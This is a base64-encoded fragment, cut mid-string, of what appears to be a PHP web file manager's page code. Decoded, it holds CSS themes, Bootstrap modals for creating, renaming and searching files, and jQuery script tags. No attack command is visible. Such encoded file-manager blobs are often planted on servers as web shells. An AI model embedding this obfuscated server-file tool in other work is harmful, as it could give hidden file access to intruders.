kKDIpIHsgYm9yZGVyLWNvbG9yOiNmOGI2MDAgfQ0KICAgICAgICAjbWFpbi10YWJsZSBzcGFuLmJhZGdlOm50aC1jaGlsZCgzKSB7IGJvcmRlci1jb2xvcjojMDBiZDYwIH0NCiAgICAgICAgI21haW4tdGFibGUgc3Bhbi5iYWRnZTpudGgtY2hpbGQoNCkgeyBib3JkZXItY29sb3I6IzQ1ODFmZiB9DQogICAgICAgICNtYWluLXRhYmxlIHNwYW4uYmFkZ2U6bnRoLWNoaWxkKDUpIHsgYm9yZGVyLWNvbG9yOiNhYzY4ZmMgfQ0KICAgICAgICAjbWFpbi10YWJsZSBzcGFuLmJhZGdlOm50aC1jaGlsZCg2KSB7IGJvcmRlci1jb2xvcjojNDVjM2QyIH0NCiAgICAgICAgQG1lZGlhIG9ubHkgc2NyZWVuIGFuZCAobWluLWRldmljZS13aWR0aDo3NjhweCkgYW5kIChtYXgtZGV2aWNlLXdpZHRoOjEwMjRweCkgYW5kIChvcmllbnRhdGlvbjpsYW5kc2NhcGUpIGFuZCAoLXdlYmtpdC1taW4tZGV2aWNlLXBpeGVsLXJhdGlvOjIpIHsgLm5hdmJhci1jb2xsYXBzZSAuY29sLXhzLTYgeyBwYWRkaW5nOjA7IH0NCiAgICAgICAgfQ0KICAgICAgICAuYnRuLmFjdGl2ZS5mb2N1cywuYnRuLmFjdGl2ZTpmb2N1cywuYnRuLmZvY3VzLC5idG4uZm9jdXM6YWN0aXZlLC5idG46YWN0aXZlOmZvY3VzLC5idG46Zm9jdXMgeyBvdXRsaW5lOjAhaW1wb3J0YW50O291dGxpbmUtb2Zmc2V0OjAhaW1wb3J0YW50O2JhY2tncm91bmQtaW1hZ2U6bm9uZSFpbXBvcnRhbnQ7LXdlYmtpdC1ib3gtc2hhZG93Om5vbmUhaW1wb3J0YW50O2JveC1zaGFkb3c6bm9uZSFpbXBvcnRhbnQgfQ0KICAgICAgICAubGRzLWZhY2Vib29rIHsgZGlzcGxheTpub25lO3Bvc2l0aW9uOnJlbGF0aXZlO3dpZHRoOjY0cHg7aGVpZ2h0OjY0cHggfQ0KICAgICAgICAubGRzLWZhY2Vib29rIGRpdiwubGRzLWZhY2Vib29rLnNob3ctbWUgeyBkaXNwbGF5OmlubGluZS1ibG9jayB9DQogICAgICAgIC5sZHMtZmFjZWJvb2sgZGl2IHsgcG9zaXRpb246YWJzb2x1dGU7bGVmdDo2cHg7d2lkdGg6MTNweDtiYWNrZ3JvdW5kOiMwMDdiZmY7YW5pbWF0aW9uOmxkcy1mYWNlYm9vayAxLjJzIGN1YmljLWJlemllcigwLC41LC41LDEpIGluZmluaXRlIH0NCiAgICAgICAgLmxkcy1mYWNlYm9vayBkaXY6bnRoLWNoaWxkKDEpIHsgbGVmdDo2cHg7YW5pbWF0aW9uLWRlbGF5Oi0uMjRzIH0NCiAgICAgICAgLmxkcy1mYWNlYm9vayBkaXY6bnRoLWNoaWxkKDIpIHsgbGVmdDoyNnB4O2FuaW1hdGlvbi1kZWxheTotLjEycyB9DQogICAgICAgIC5sZHMtZmFjZWJvb2sgZGl2Om50aC1jaGlsZCgzKSB7IGxlZnQ6NDVweDthbmltYXRpb24tZGVsYXk6MHMgfQ0KICAgICAgICBAa2V5ZnJhbWVzIGxkcy1mYWNlYm9vayB7IDAlIHsgdG9wOjZweDtoZWlnaHQ6NTFweCB9DQogICAgICAgIDEwMCUsNTAlIHsgdG9wOjE5cHg7aGVpZ2h0OjI2cHggfQ0KICAgICAgICB9DQogICAgICAgIHVsI3NlYXJjaC13cmFwcGVyIHsgcGFkZGluZy1sZWZ0OiAwO2JvcmRlcjogMXB4IHNvbGlkICNlY2VjZWNjYzsgfSB1bCNzZWFyY2gtd3JhcHBlciBsaSB7IGxpc3Qtc3R5bGU6IG5vbmU7IHBhZGRpbmc6IDVweDtib3JkZXItYm90dG9tOiAxcHggc29saWQgI2VjZWNlY2NjOyB9DQogICAgICAgIHVsI3NlYXJjaC13cmFwcGVyIGxpOm50aC1jaGlsZChvZGQpeyBiYWNrZ3JvdW5kOiAjZjlmOWY5Y2M7fQ0KICAgICAgICAuYy1wcmV2aWV3LWltZyB7IG1heC13aWR0aDogMzAwcHg7IH0NCiAgICAgICAgLmJvcmRlci1yYWRpdXMtMCB7IGJvcmRlci1yYWRpdXM6IDA7IH0NCiAgICAgICAgLmZsb2F0LXJpZ2h0IHsgZmxvYXQ6IHJpZ2h0OyB9DQogICAgICAgIC50YWJsZS1ob3Zlcj50Ym9keT50cjpob3Zlcj50ZDpmaXJzdC1jaGlsZCB7IGJvcmRlci1sZWZ0OiAxcHggc29saWQgIzFiNzdmZDsgfQ0KICAgICAgICAjbWFpbi10YWJsZSB0ci5ldmVuIHsgYmFja2dyb3VuZC1jb2xvcjogI0Y4RjlGYTsgfQ0KICAgICAgICAuZmlsZW5hbWU+YT5pIHttYXJnaW4tcmlnaHQ6IDNweDt9DQogICAgPC9zdHlsZT4NCiAgICA8P3BocA0KICAgIGlmIChGTV9USEVNRSA9PSAiZGFyayIpOiA/Pg0KICAgICAgICA8c3R5bGU+DQogICAgICAgICAgICA6cm9vdCB7DQogICAgICAgICAgICAgICAgLS1icy1iZy1vcGFjaXR5OiAxOw0KICAgICAgICAgICAgICAgIC0tYmctY29sb3I6ICNmM2RhYTY7DQogICAgICAgICAgICAgICAgLS1icy1kYXJrLXJnYjogMjgsIDM2LCA0MSAhaW1wb3J0YW50Ow0KICAgICAgICAgICAgICAgIC0tYnMtYmctb3BhY2l0eTogMTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIC50YWJsZS1kYXJrIHsgLS1icy10YWJsZS1iZzogMjgsIDM2LCA0MSAhaW1wb3J0YW50OyB9DQogICAgICAgICAgICAuYnRuLXByaW1hcnkgeyAtLWJzLWJ0bi1iZzogIzI2NTY2YzsgLS1icy1idG4tYm9yZGVyLWNvbG9yOiAjMjY1NjZjOyB9DQogICAgICAgICAgICBib2R5LnRoZW1lLWRhcmsgeyBiYWNrZ3JvdW5kLWltYWdlOiBsaW5lYXItZ3JhZGllbnQoOTBkZWcsICMxYzI0MjksICMyNjMyMzgpOyBjb2xvcjogI0NGRDhEQzsgfQ0KICAgICAgICAgICAgLmxpc3QtZ3JvdXAgLmxpc3QtZ3JvdXAtaXRlbSB7IGJhY2tncm91bmQ6ICMzNDNhNDA7IH0NCiAgICAgICAgICAgIC50aGVtZS1kYXJrIC5uYXZiYXItbmF2IGksIC5uYXZiYXItbmF2IC5kcm9wZG93bi10b2dnbGUsIC5icmVhay13b3JkIHsgY29sb3I6ICNDRkQ4REM7IH0NCiAgICAgICAgICAgIGEsIGE6aG92ZXIsIGE6dmlzaXRlZCwgYTphY3RpdmUsICNtYWluLXRhYmxlIC5maWxlbmFtZSBhLCBpLmZhLmZhLWZvbGRlci1vLCBpLmdvLWJhY2sgeyBjb2xvcjogdmFyKC0tYmctY29sb3IpOyB9DQogICAgICAgICAgICB1bCNzZWFyY2gtd3JhcHBlciBsaTpudGgtY2hpbGQob2RkKSB7IGJhY2tncm91bmQ6ICMyMTJhMmY7IH0NCiAgICAgICAgICAgIC50aGVtZS1kYXJrIC5idG4tb3V0bGluZS1wcmltYXJ5IHsgY29sb3I6ICNiOGU1OWM7IGJvcmRlci1jb2xvcjogI2I4ZTU5YzsgfQ0KICAgICAgICAgICAgLnRoZW1lLWRhcmsgLmJ0bi1vdXRsaW5lLXByaW1hcnk6aG92ZXIsIC50aGVtZS1kYXJrIC5idG4tb3V0bGluZS1wcmltYXJ5OmFjdGl2ZSB7IGJhY2tncm91bmQtY29sb3I6ICMyZDQxMjE7fQ0KICAgICAgICAgICAgLnRoZW1lLWRhcmsgaW5wdXQuZm9ybS1jb250cm9sIHsgYmFja2dyb3VuZC1jb2xvcjogIzEwMTUxODsgY29sb3I6ICNDRkQ4REM7IH0NCiAgICAgICAgICAgIC50aGVtZS1kYXJrIC5kcm9wem9uZSB7IGJhY2tncm91bmQ6IHRyYW5zcGFyZW50OyB9DQogICAgICAgICAgICAudGhlbWUtZGFyayAuaW5saW5lLWFjdGlvbnMgPiBhID4gaSB7IGJhY2tncm91bmQ6ICM3OTc1NWU7IH0NCiAgICAgICAgICAgIC50aGVtZS1kYXJrIC50ZXh0LXdoaXRlIHsgY29sb3I6ICNDRkQ4REMgIWltcG9ydGFudDsgfQ0KICAgICAgICAgICAgLnRoZW1lLWRhcmsgLnRhYmxlLWJvcmRlcmVkIHRkLCAudGFibGUtYm9yZGVyZWQgdGggeyBib3JkZXItY29sb3I6ICMzNDM0MzQ7IH0NCiAgICAgICAgICAgIC50aGVtZS1kYXJrIC50YWJsZS1ib3JkZXJlZCB0ZCAuY3VzdG9tLWNvbnRyb2wtaW5wdXQsIC50aGVtZS1kYXJrIC50YWJsZS1ib3JkZXJlZCB0aCAuY3VzdG9tLWNvbnRyb2wtaW5wdXQgeyBvcGFjaXR5OiAwLjY3ODsgfQ0KICAgICAgICAgICAgLm1lc3NhZ2UgeyBiYWNrZ3JvdW5kLWNvbG9yOiAjMjEyNTI5OyB9DQogICAgICAgICAgICAuY29tcGFjdC10YWJsZSB0cjpob3ZlciB0ZCB7IGJhY2tncm91bmQtY29sb3I6ICMzZDNkM2Q7IH0NCiAgICAgICAgICAgICNtYWluLXRhYmxlIHRyLmV2ZW4geyBiYWNrZ3JvdW5kLWNvbG9yOiAjMjEyOTJmOyB9DQogICAgICAgICAgICBmb3JtLmRyb3B6b25lIHsgYm9yZGVyLWNvbG9yOiAjNzk3NTVlOyB9DQogICAgICAgIDwvc3R5bGU+DQogICAgPD9waHAgZW5kaWY7ID8+DQo8L2hlYWQ+DQo8Ym9keSBjbGFzcz0iPD9waHAgZWNobyAoRk1fVEhFTUUgPT0gImRhcmsiKSA/ICd0aGVtZS1kYXJrJyA6ICcnOyA/PiA8P3BocCBlY2hvICRpc1N0aWNreU5hdkJhcjsgPz4iPg0KPGRpdiBpZD0id3JhcHBlciIgY2xhc3M9ImNvbnRhaW5lci1mbHVpZCI+DQogICAgPCEtLSBOZXcgSXRlbSBjcmVhdGlvbiAtLT4NCiAgICA8ZGl2IGNsYXNzPSJtb2RhbCBmYWRlIiBpZD0iY3JlYXRlTmV3SXRlbSIgdGFiaW5kZXg9Ii0xIiByb2xlPSJkaWFsb2ciIGRhdGEtYnMtYmFja2Ryb3A9InN0YXRpYyIgZGF0YS1icy1rZXlib2FyZD0iZmFsc2UiIGFyaWEtbGFiZWxsZWRieT0ibmV3SXRlbU1vZGFsTGFiZWwiIGFyaWEtaGlkZGVuPSJ0cnVlIj4NCiAgICAgICAgPGRpdiBjbGFzcz0ibW9kYWwtZGlhbG9nIiByb2xlPSJkb2N1bWVudCI+DQogICAgICAgICAgICA8Zm9ybSBjbGFzcz0ibW9kYWwtY29udGVudCA8P3BocCBlY2hvIGZtX2dldF90aGVtZSgpOyA/PiIgbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJtb2RhbC1oZWFkZXIiPg0KICAgICAgICAgICAgICAgICAgICA8aDUgY2xhc3M9Im1vZGFsLXRpdGxlIiBpZD0ibmV3SXRlbU1vZGFsTGFiZWwiPjxpIGNsYXNzPSJmYSBmYS1wbHVzLXNxdWFyZSBmYS1mdyI+PC9pPjw/cGhwIGVjaG8gbG5nKCdDcmVhdGVOZXdJdGVtJykgPz48L2g1Pg0KICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9ImJ1dHRvbiIgY2xhc3M9ImJ0bi1jbG9zZSIgZGF0YS1icy1kaXNtaXNzPSJtb2RhbCIgYXJpYS1sYWJlbD0iQ2xvc2UiPjwvYnV0dG9uPg0KICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1vZGFsLWJvZHkiPg0KICAgICAgICAgICAgICAgICAgICA8cD48bGFiZWwgZm9yPSJuZXdmaWxlIj48P3BocCBlY2hvIGxuZygnSXRlbVR5cGUnKSA/PiA8L2xhYmVsPjwvcD4NCiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iZm9ybS1jaGVjayBmb3JtLWNoZWNrLWlubGluZSI+DQogICAgICAgICAgICAgICAgICAgICAgPGlucHV0IGNsYXNzPSJmb3JtLWNoZWNrLWlucHV0IiB0eXBlPSJyYWRpbyIgbmFtZT0ibmV3ZmlsZSIgaWQ9ImN1c3RvbVJhZGlvSW5saW5lMSIgbmFtZT0ibmV3ZmlsZSIgdmFsdWU9ImZpbGUiPg0KICAgICAgICAgICAgICAgICAgICAgIDxsYWJlbCBjbGFzcz0iZm9ybS1jaGVjay1sYWJlbCIgZm9yPSJjdXN0b21SYWRpb0lubGluZTEiPjw/cGhwIGVjaG8gbG5nKCdGaWxlJykgPz48L2xhYmVsPg0KICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iZm9ybS1jaGVjayBmb3JtLWNoZWNrLWlubGluZSI+DQogICAgICAgICAgICAgICAgICAgICAgPGlucHV0IGNsYXNzPSJmb3JtLWNoZWNrLWlucHV0IiB0eXBlPSJyYWRpbyIgbmFtZT0ibmV3ZmlsZSIgaWQ9ImN1c3RvbVJhZGlvSW5saW5lMiIgdmFsdWU9ImZvbGRlciIgY2hlY2tlZD4NCiAgICAgICAgICAgICAgICAgICAgICA8bGFiZWwgY2xhc3M9ImZvcm0tY2hlY2stbGFiZWwiIGZvcj0iY3VzdG9tUmFkaW9JbmxpbmUyIj48P3BocCBlY2hvIGxuZygnRm9sZGVyJykgPz48L2xhYmVsPg0KICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCg0KICAgICAgICAgICAgICAgICAgICA8cCBjbGFzcz0ibXQtMyI+PGxhYmVsIGZvcj0ibmV3ZmlsZW5hbWUiPjw/cGhwIGVjaG8gbG5nKCdJdGVtTmFtZScpID8+IDwvbGFiZWw+PC9wPg0KICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmV3ZmlsZW5hbWUiIGlkPSJuZXdmaWxlbmFtZSIgdmFsdWU9IiIgY2xhc3M9ImZvcm0tY29udHJvbCIgcGxhY2Vob2xkZXI9Ijw/cGhwIGVjaG8gbG5nKCdFbnRlciBoZXJlLi4uJykgPz4iIHJlcXVpcmVkPg0KICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1vZGFsLWZvb3RlciI+DQogICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InRva2VuIiB2YWx1ZT0iPD9waHAgZWNobyAkX1NFU1NJT05bJ3Rva2VuJ107ID8+Ij4NCiAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJidXR0b24iIGNsYXNzPSJidG4gYnRuLW91dGxpbmUtcHJpbWFyeSIgZGF0YS1icy1kaXNtaXNzPSJtb2RhbCI+PGkgY2xhc3M9ImZhIGZhLXRpbWVzLWNpcmNsZSI+PC9pPiA8P3BocCBlY2hvIGxuZygnQ2FuY2VsJykgPz48L2J1dHRvbj4NCiAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLXN1Y2Nlc3MiPjxpIGNsYXNzPSJmYSBmYS1jaGVjay1jaXJjbGUiPjwvaT4gPD9waHAgZWNobyBsbmcoJ0NyZWF0ZU5vdycpID8+PC9idXR0b24+DQogICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICA8L2Zvcm0+DQogICAgICAgIDwvZGl2Pg0KICAgIDwvZGl2Pg0KDQogICAgPCEtLSBBZHZhbmNlIFNlYXJjaCBNb2RhbCAtLT4NCiAgICA8ZGl2IGNsYXNzPSJtb2RhbCBmYWRlIiBpZD0ic2VhcmNoTW9kYWwiIHRhYmluZGV4PSItMSIgcm9sZT0iZGlhbG9nIiBhcmlhLWxhYmVsbGVkYnk9InNlYXJjaE1vZGFsTGFiZWwiIGFyaWEtaGlkZGVuPSJ0cnVlIj4NCiAgICAgIDxkaXYgY2xhc3M9Im1vZGFsLWRpYWxvZyBtb2RhbC1sZyIgcm9sZT0iZG9jdW1lbnQiPg0KICAgICAgICA8ZGl2IGNsYXNzPSJtb2RhbC1jb250ZW50IDw/cGhwIGVjaG8gZm1fZ2V0X3RoZW1lKCk7ID8+Ij4NCiAgICAgICAgICA8ZGl2IGNsYXNzPSJtb2RhbC1oZWFkZXIiPg0KICAgICAgICAgICAgPGg1IGNsYXNzPSJtb2RhbC10aXRsZSBjb2wtMTAiIGlkPSJzZWFyY2hNb2RhbExhYmVsIj4NCiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJpbnB1dC1ncm91cCBtYi0zIj4NCiAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBjbGFzcz0iZm9ybS1jb250cm9sIiBwbGFjZWhvbGRlcj0iPD9waHAgZWNobyBsbmcoJ1NlYXJjaCcpID8+IDw/cGhwIGVjaG8gbG5nKCdhIGZpbGVzJykgPz4iIGFyaWEtbGFiZWw9Ijw/cGhwIGVjaG8gbG5nKCdTZWFyY2gnKSA/PiIgYXJpYS1kZXNjcmliZWRieT0ic2VhcmNoLWFkZG9uMyIgaWQ9ImFkdmFuY2VkLXNlYXJjaCIgYXV0b2ZvY3VzIHJlcXVpcmVkPg0KICAgICAgICAgICAgICAgICAgPHNwYW4gY2xhc3M9ImlucHV0LWdyb3VwLXRleHQiIGlkPSJzZWFyY2gtYWRkb24zIj48aSBjbGFzcz0iZmEgZmEtc2VhcmNoIj48L2k+PC9zcGFuPg0KICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgPC9oNT4NCiAgICAgICAgICAgIDxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuLWNsb3NlIiBkYXRhLWJzLWRpc21pc3M9Im1vZGFsIiBhcmlhLWxhYmVsPSJDbG9zZSI+PC9idXR0b24+DQogICAgICAgICAgPC9kaXY+DQogICAgICAgICAgPGRpdiBjbGFzcz0ibW9kYWwtYm9keSI+DQogICAgICAgICAgICA8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJsZHMtZmFjZWJvb2siPjxkaXY+PC9kaXY+PGRpdj48L2Rpdj48ZGl2PjwvZGl2PjwvZGl2Pg0KICAgICAgICAgICAgICAgIDx1bCBpZD0ic2VhcmNoLXdyYXBwZXIiPg0KICAgICAgICAgICAgICAgICAgICA8cCBjbGFzcz0ibS0yIj48P3BocCBlY2hvIGxuZygnU2VhcmNoIGZpbGUgaW4gZm9sZGVyIGFuZCBzdWJmb2xkZXJzLi4uJykgPz48L3A+DQogICAgICAgICAgICAgICAgPC91bD4NCiAgICAgICAgICAgIDwvZm9ybT4NCiAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgPC9kaXY+DQogICAgICA8L2Rpdj4NCiAgICA8L2Rpdj4NCg0KICAgIDwhLS1SZW5hbWUgTW9kYWwgLS0+DQogICAgPGRpdiBjbGFzcz0ibW9kYWwgbW9kYWwtYWxlcnQiIGRhdGEtYnMtYmFja2Ryb3A9InN0YXRpYyIgZGF0YS1icy1rZXlib2FyZD0iZmFsc2UiIHRhYmluZGV4PSItMSIgcm9sZT0iZGlhbG9nIiBpZD0icmVuYW1lRGFpbG9nIj4NCiAgICAgIDxkaXYgY2xhc3M9Im1vZGFsLWRpYWxvZyIgcm9sZT0iZG9jdW1lbnQiPg0KICAgICAgICA8Zm9ybSBjbGFzcz0ibW9kYWwtY29udGVudCByb3VuZGVkLTMgc2hhZG93IDw/cGhwIGVjaG8gZm1fZ2V0X3RoZW1lKCk7ID8+IiBtZXRob2Q9InBvc3QiIGF1dG9jb21wbGV0ZT0ib2ZmIj4NCiAgICAgICAgICA8ZGl2IGNsYXNzPSJtb2RhbC1ib2R5IHAtNCB0ZXh0LWNlbnRlciI+DQogICAgICAgICAgICA8aDUgY2xhc3M9Im1iLTMiPjw/cGhwIGVjaG8gbG5nKCdBcmUgeW91IHN1cmUgd2FudCB0byByZW5hbWU/JykgPz48L2g1Pg0KICAgICAgICAgICAgPHAgY2xhc3M9Im1iLTEiPg0KICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJyZW5hbWVfdG8iIGlkPSJqcy1yZW5hbWUtdG8iIGNsYXNzPSJmb3JtLWNvbnRyb2wiIHBsYWNlaG9sZGVyPSI8P3BocCBlY2hvIGxuZygnRW50ZXIgbmV3IGZpbGUgbmFtZScpID8+IiByZXF1aXJlZD4NCiAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJ0b2tlbiIgdmFsdWU9Ijw/cGhwIGVjaG8gJF9TRVNTSU9OWyd0b2tlbiddOyA/PiI+DQogICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icmVuYW1lX2Zyb20iIGlkPSJqcy1yZW5hbWUtZnJvbSI+DQogICAgICAgICAgICA8L3A+DQogICAgICAgICAgPC9kaXY+DQogICAgICAgICAgPGRpdiBjbGFzcz0ibW9kYWwtZm9vdGVyIGZsZXgtbm93cmFwIHAtMCI+DQogICAgICAgICAgICA8YnV0dG9uIHR5cGU9ImJ1dHRvbiIgY2xhc3M9ImJ0biBidG4tbGcgYnRuLWxpbmsgZnMtNiB0ZXh0LWRlY29yYXRpb24tbm9uZSBjb2wtNiBtLTAgcm91bmRlZC0wIGJvcmRlci1lbmQiIGRhdGEtYnMtZGlzbWlzcz0ibW9kYWwiPjw/cGhwIGVjaG8gbG5nKCdDYW5jZWwnKSA/PjwvYnV0dG9uPg0KICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWxnIGJ0bi1saW5rIGZzLTYgdGV4dC1kZWNvcmF0aW9uLW5vbmUgY29sLTYgbS0wIHJvdW5kZWQtMCI+PHN0cm9uZz48P3BocCBlY2hvIGxuZygnT2theScpID8+PC9zdHJvbmc+PC9idXR0b24+DQogICAgICAgICAgPC9kaXY+DQogICAgICAgIDwvZm9ybT4NCiAgICAgIDwvZGl2Pg0KICAgIDwvZGl2Pg0KDQogICAgPCEtLSBDb25maXJtIE1vZGFsIC0tPg0KICAgIDxzY3JpcHQgdHlwZT0idGV4dC9odG1sIiBpZD0ianMtdHBsLWNvbmZpcm0iPg0KICAgICAgICA8ZGl2IGNsYXNzPSJtb2RhbCBtb2RhbC1hbGVydCBjb25maXJtRGFpbG9nIiBkYXRhLWJzLWJhY2tkcm9wPSJzdGF0aWMiIGRhdGEtYnMta2V5Ym9hcmQ9ImZhbHNlIiB0YWJpbmRleD0iLTEiIHJvbGU9ImRpYWxvZyIgaWQ9ImNvbmZpcm1EYWlsb2ctPCV0aGlzLmlkJT4iPg0KICAgICAgICAgIDxkaXYgY2xhc3M9Im1vZGFsLWRpYWxvZyIgcm9sZT0iZG9jdW1lbnQiPg0KICAgICAgICAgICAgPGZvcm0gY2xhc3M9Im1vZGFsLWNvbnRlbnQgcm91bmRlZC0zIHNoYWRvdyA8P3BocCBlY2hvIGZtX2dldF90aGVtZSgpOyA/PiIgbWV0aG9kPSJwb3N0IiBhdXRvY29tcGxldGU9Im9mZiIgYWN0aW9uPSI8JXRoaXMuYWN0aW9uJT4iPg0KICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJtb2RhbC1ib2R5IHAtNCB0ZXh0LWNlbnRlciI+DQogICAgICAgICAgICAgICAgPGg1IGNsYXNzPSJtYi0yIj48P3BocCBlY2hvIGxuZygnQXJlIHlvdSBzdXJlIHdhbnQgdG8nKSA/PiA8JXRoaXMudGl0bGUlPiA/PC9oNT4NCiAgICAgICAgICAgICAgICA8cCBjbGFzcz0ibWItMSI+PCV0aGlzLmNvbnRlbnQlPjwvcD4NCiAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1vZGFsLWZvb3RlciBmbGV4LW5vd3JhcCBwLTAiPg0KICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1sZyBidG4tbGluayBmcy02IHRleHQtZGVjb3JhdGlvbi1ub25lIGNvbC02IG0tMCByb3VuZGVkLTAgYm9yZGVyLWVuZCIgZGF0YS1icy1kaXNtaXNzPSJtb2RhbCI+PD9waHAgZWNobyBsbmcoJ0NhbmNlbCcpID8+PC9idXR0b24+DQogICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0idG9rZW4iIHZhbHVlPSI8P3BocCBlY2hvICRfU0VTU0lPTlsndG9rZW4nXTsgPz4iPg0KICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1sZyBidG4tbGluayBmcy02IHRleHQtZGVjb3JhdGlvbi1ub25lIGNvbC02IG0tMCByb3VuZGVkLTAiIGRhdGEtYnMtZGlzbWlzcz0ibW9kYWwiPjxzdHJvbmc+PD9waHAgZWNobyBsbmcoJ09rYXknKSA/Pjwvc3Ryb25nPjwvYnV0dG9uPg0KICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgIDwvZm9ybT4NCiAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgPC9kaXY+DQogICAgPC9zY3JpcHQ+DQoNCiAgICA8P3BocA0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIFNob3cgcGFnZSBmb290ZXIgYWZ0ZXIgbG9naW4NCiAgICAgKi8NCiAgICBmdW5jdGlvbiBmbV9zaG93X2Zvb3RlcigpDQogICAgew0KICAgID8+DQo8L2Rpdj4NCjxzY3JpcHQgc3JjPSJodHRwczovL2NvZGUuanF1ZXJ5LmNvbS9qcXVlcnktMy42LjEubWluLmpzIiBpbnRlZ3JpdHk9InNoYTI1Ni1vODhBd1FuWkIrVkR2RTl0dklYck1RYVBsRkZTVVRSK25sZFFtMUx1UFhRPSIgY3Jvc3NvcmlnaW49ImFub255bW91cyI+PC9zY3JpcHQ+DQo8c2NyaXB0IHNyYz0iaHR0cHM6Ly9jZG4uanNkZWxpdnIubmV0L25wbS9ib290c3RyYXBANS4yLjIvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyIgaW50ZWdyaXR5PSJzaGEzODQtT0VSY0EyRXFqSkNNQSsvM3krZ3hJT3FNRWp3dHhKWTdxUENxc2RsdGJOSnVhT2U5MjMrbW8vL2Y2VjhRYnN3MyIgY3Jvc3NvcmlnaW49ImFub255bW91cyI+PC9zY3JpcHQ+DQo8c2NyaXB0IHNyYz0iaHR0cHM6Ly9jZG4uZGF0YXRhYmxlcy5uZXQvMS4xMy4xL2pzL2pxdWVyeS5kYXRhVGFibGVzLm1pbi5qcyIgY3Jvc3NvcmlnaW49ImFub255bW91cyIgZGVmZXI+PC9zY3JpcHQ+DQo8P3BocCBpZiAoRk1fVVNFX0hJR0hMSUdIVEpTICYmIGlzc2V0KCRfR0VUWyd2aWV3J10pKTogPz4NCiAgICA8c2NyaXB0IHNyYz0iaHR0cHM6Ly9jZG5qcy5jbG91ZGZsYXJlLmNvbS9hamF4L2xpYnMvaGlnaGxpZ2h0LmpzLzExLjYuMC9oaWdobGlnaHQubWluLmpzIj48L3NjcmlwdD4NCiAgICA8c2NyaXB0PmhsanMuaGlnaGxpZ2h0QWxsKCk7IHZhciBpc0hpZ2hsaWdodGluZ0VuYWJsZWQgPSB0cnVlOzwvc2NyaXB0Pg0KPD9waHAgZW5kaWY7ID8+DQo8c2NyaXB0Pg0KICAgIGZ1bmN0aW9uIHRlbXBsYXRlKGh0bWwsb3B0aW9ucyl7DQogICAgICAgIHZhciByZT0vPFwlKFteXCU+XSspP1wlPi9nLHJlRXhwPS8oXiggKT8oaWZ8Zm9yfGVsc2V8c3dpdGNofGNhc2V8YnJlYWt8e3x9KSkoLiopPy9nLGNvZGU9J3ZhciByPVtdO1xuJyxjdXJzb3I9MCxtYXRjaDt2YXIgYWRkPWZ1bmN0aW9uKGxpbmUsanMpe2pzPyhjb2RlKz1saW5lLm1hdGNoKHJlRXhwKT9saW5lKydcbic6J3IucHVzaCgnK2xpbmUrJyk7XG4nKTooY29kZSs9bGluZSE9Jyc/J3IucHVzaCgiJytsaW5lLnJlcGxhY2UoLyIvZywnXFwiJykrJyIpO1xuJzonJyk7cmV0dXJuIGFkZH0NCiAgICAgICAgd2hpbGUobWF0Y2g9cmUuZXhlYyhodG1sKSl7YWRkKGh0bWwuc2xpY2UoY3Vyc29yLG1hdGNoLmluZGV4KSkobWF0Y2hbMV0sITApO2N1cnNvcj1tYXRjaC5pbmRleCttYXRjaFswXS5sZW5ndGh9DQogICAgICAgIGFkZChodG1sLnN1YnN0cihjdXJzb3IsaHRtbC5sZW5ndGgtY3Vyc29yKSk7Y29kZSs9J3JldHVybiByLmpvaW4oIiIpOyc7cmV0dXJuIG5ldyBGdW5jdGlvbihjb2RlLnJlcGxhY2UoL1tcclx0XG5dL2csJycpKS5hcHBseShvcHRpb25zKQ0KICAgIH0NCiAgICBmdW5jdGlvbiByZW5hbWUoZSwgdCkgeyBpZih0KSB7ICQoIiNqcy1yZW5hbWUtZnJvbSIpLnZhbCh0KTskKCIjanMtcmVuYW1lLXRvIikudmFsKHQpOyAkKCIjcmVuYW1lRGFpbG9nIikubW9kYWwoJ3Nob3cnKTsgfSB9DQogI